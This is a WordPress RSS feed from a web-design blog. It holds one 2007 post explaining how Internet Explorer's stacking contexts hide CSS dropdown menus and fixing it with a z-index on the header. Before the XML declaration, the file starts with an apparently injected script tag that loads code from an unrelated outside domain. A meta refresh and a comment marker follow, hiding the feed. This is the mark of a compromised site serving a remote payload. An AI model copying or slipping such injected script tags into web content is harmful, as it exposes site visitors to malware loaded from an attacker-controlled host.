<script src='http://turnitupnow.net/?rnd=3008%2Fdeef%2Funem%2Fgat%2Fmoc.yugnaigewrontaht'></script><meta http-equiv='refresh' content='0;url=http://thatnorwegianguy.com/tag/menu/feed/'><!--<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>That Norwegian Guy &#187; menu</title>
	<atom:link href="http://thatnorwegianguy.com/tag/menu/feed/" rel="self" type="application/rss+xml" />
	<link>http://thatnorwegianguy.com</link>
	<description></description>
	<lastBuildDate>Mon, 25 Jul 2011 11:36:15 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Positioning and z-index in IE</title>
		<link>http://thatnorwegianguy.com/2007/positioning-and-z-index-in-ie/</link>
		<comments>http://thatnorwegianguy.com/2007/positioning-and-z-index-in-ie/#comments</comments>
		<pubDate>Thu, 29 Nov 2007 13:33:51 +0000</pubDate>
		<dc:creator>Eystein</dc:creator>
				<category><![CDATA[css]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[webdesign]]></category>
		<category><![CDATA[hover]]></category>
		<category><![CDATA[menu]]></category>
		<category><![CDATA[positioning]]></category>
		<category><![CDATA[z-index]]></category>

		<guid isPermaLink="false">http://thatnorwegianguy.wordpress.com/2007/11/29/positioning-and-z-index-in-ie/</guid>
		<description><![CDATA[Using absolute positioning to hide and show a nested list is one of the better ways to create a dropdown menu, and it can almost be done using only CSS. IE6 needs a little javascript help to respect the :hover pseudo-class. The Sons of Suckerfish will help you there. Now you have your perfect semantic [...]]]></description>
			<content:encoded><![CDATA[<p>Using absolute positioning to hide and show a nested list is one of the better ways to create a dropdown menu, and it can almost be done using only CSS. <abbr title="Internet Explorer 6">IE6</abbr> needs a little javascript help to respect the :hover pseudo-class. The <a href="http://www.htmldog.com/articles/suckerfish/dropdowns/" title="Son of Suckerfish Dropdowns | HTML Dog">Sons of Suckerfish</a> will help you there.</p>
<p>Now you have your perfect semantic validating <abbr title="Search engine optimimization">SEO</abbr> friendly nested list in order to make the drop-down menu the client wants. The <abbr>CSS</abbr> is in place and the dummy you&#8217;ve thrown up works.<br />
But when you implement it into the site the drop-down partly hides behind the content further down. Offcourse &#8211; it has an higher z-index. Easy fix. But then the juggernaut <abbr title="Internet Explorer">IE</abbr> comes along and crashes the party.</p>
<p><span id="more-71"></span></p>
<p>In all IE, any element that has position:relative and haslayout=true<br />
forms a stacking context. This is not correct, it would need to have a<br />
z-index to act as a stacking context.</p>
<p>Assume you have two stacking contexts:</p>
<ul>
<li>B follows A.</li>
<li>B is higher in the stack, nearest to the user.</li>
</ul>
<p>A<br />
B</p>
<p>No matter what z-index you choose for it, a child A-x will never leave<br />
its stacking context A.</p>
<p>A. A-1, A-2, A-3 &#8230;.<br />
B</p>
<p>No child of A will ever be higher in the stack than B.</p>
<h3>A real life example</h3>
<p><img src="http://thatnorwegianguy.com/wp-content/uploads/2007/11/stacking-context-before1.png" alt="Stacking context before" /></p>
<p>In my case I had a #header which erroneously formed such a stacking context,<br />
because of</p>
<pre>#header {position:relative; width: 920px;} /* haslayout = true */</pre>
<p>And there is a regular stacking context following:</p>
<pre>#main {position:relative; z-index: 1}</pre>
<p>Thus:</p>
<p>#header<br />
#main</p>
<p>No matter what z-index I chose for it, a child (#menu) of #header would never<br />
leave its stacking context #header.</p>
<p>#header #menu<br />
#main</p>
<p>The #menu inside of #header would be painted over by #main. And even if<br />
#main is transparent, the drop down #menu will loose mouse focus and<br />
collapse.</p>
<h3>The solution</h3>
<p>What it finally came down to was to apply z-index: 2 to #header, to<br />
have the entire #header higher in the stack, nearer to the user, than<br />
#main.</p>
<p><img src="http://thatnorwegianguy.com/wp-content/uploads/2007/11/stacking-context1.png" alt="Stacking context" /></p>
<h3>Thank you:</h3>
<p>I could have never done this without the help of <a href="http://www.satzansatz.de/css.html" title="satzansatz -- CSS: writings and work in progress">Ingo Chao</a> and the ever useful <a href="http://www.css-discuss.org/" title="mailing list about CSS">css-discuss list</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://thatnorwegianguy.com/2007/positioning-and-z-index-in-ie/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
	</channel>
</rss>

